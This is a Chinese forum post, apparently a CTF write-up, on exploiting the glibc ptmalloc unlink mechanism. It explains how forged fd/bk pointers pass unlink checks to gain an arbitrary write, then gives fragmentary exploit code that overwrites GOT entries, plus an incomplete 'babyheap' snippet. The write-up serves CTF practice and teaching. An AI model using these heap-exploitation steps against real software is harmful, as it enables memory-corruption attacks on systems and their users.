-
-
[原创]ctf ptmalloc pwn unlink
-
发表于:
2018-9-26 15:39
6539
-
[原创]ctf ptmalloc pwn unlink
unlink是CTF中非常常见的一种题型
本文的着重点在于思路,因此并没有完整的去讲解例题,因为网上已经有不少的write up了,所以只是把认为重要的思路点总结了一下。
unlink是在free掉一个chunk的时候,如果与之相邻的chunk是free状态,并且不是投票chunk时,会将chunk从原来的链表中unlink,并触发合并,fast bin并不会触发合并,只有当满足条件触发fast bin合并时,即当申请的chunk大小大于fast bins,在搜素smallbins之前,会将相邻的fastbins chunk合并。
unlink时需要检查chunk的fd指向的chunk的bk是否指向当前chunk,bk指针指向的fd是否指向当前chunk。
unlink最终会实现任意地址写,但写的东西是固定的地址,将fd地址+0x18写为chunk的bk,将bk+0x10写入chunk的fd。如果是个全局变量存储每个chunk的地址,即可通过edit改写全局变量。
CTF题目常见的一种unlink是题目中存在一个全局变量数组,用这个数组存储malloc之后的指针。如此,只要覆盖申请出来的一块chunk的fd为全局变量-0x10,bk为-0x18,这样即可通过检查。
此题存在一个可以无限写的函数,属于最简单的一种unlink,直接通过堆溢出改写chunk结构。
alloc(0x30)#0
alloc(0x80)#1
alloc(0x20)#2
alloc(0x30)#3
alloc(0x40)#4
payload = p64(0x0)+p64(0x30)+p64(example - 0x18)+p64(example - 0x10)
payload += ‘a’*0x10+p64(0x30)+p64(90)
free(1)#
payload = “”
payload += p64(puts_got)+p64(free_got)+p64(atoi_got)
edit(0,‘a’*0x18+payload)
edit(1,p64(puts_plt))
babyheap
alloc(0,‘A’*0x18+p64(0x31))
alloc(1,‘A’*0x18+p64(0x31))
alloc(2,‘A’*0x18+p64(0x31))
free(0)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)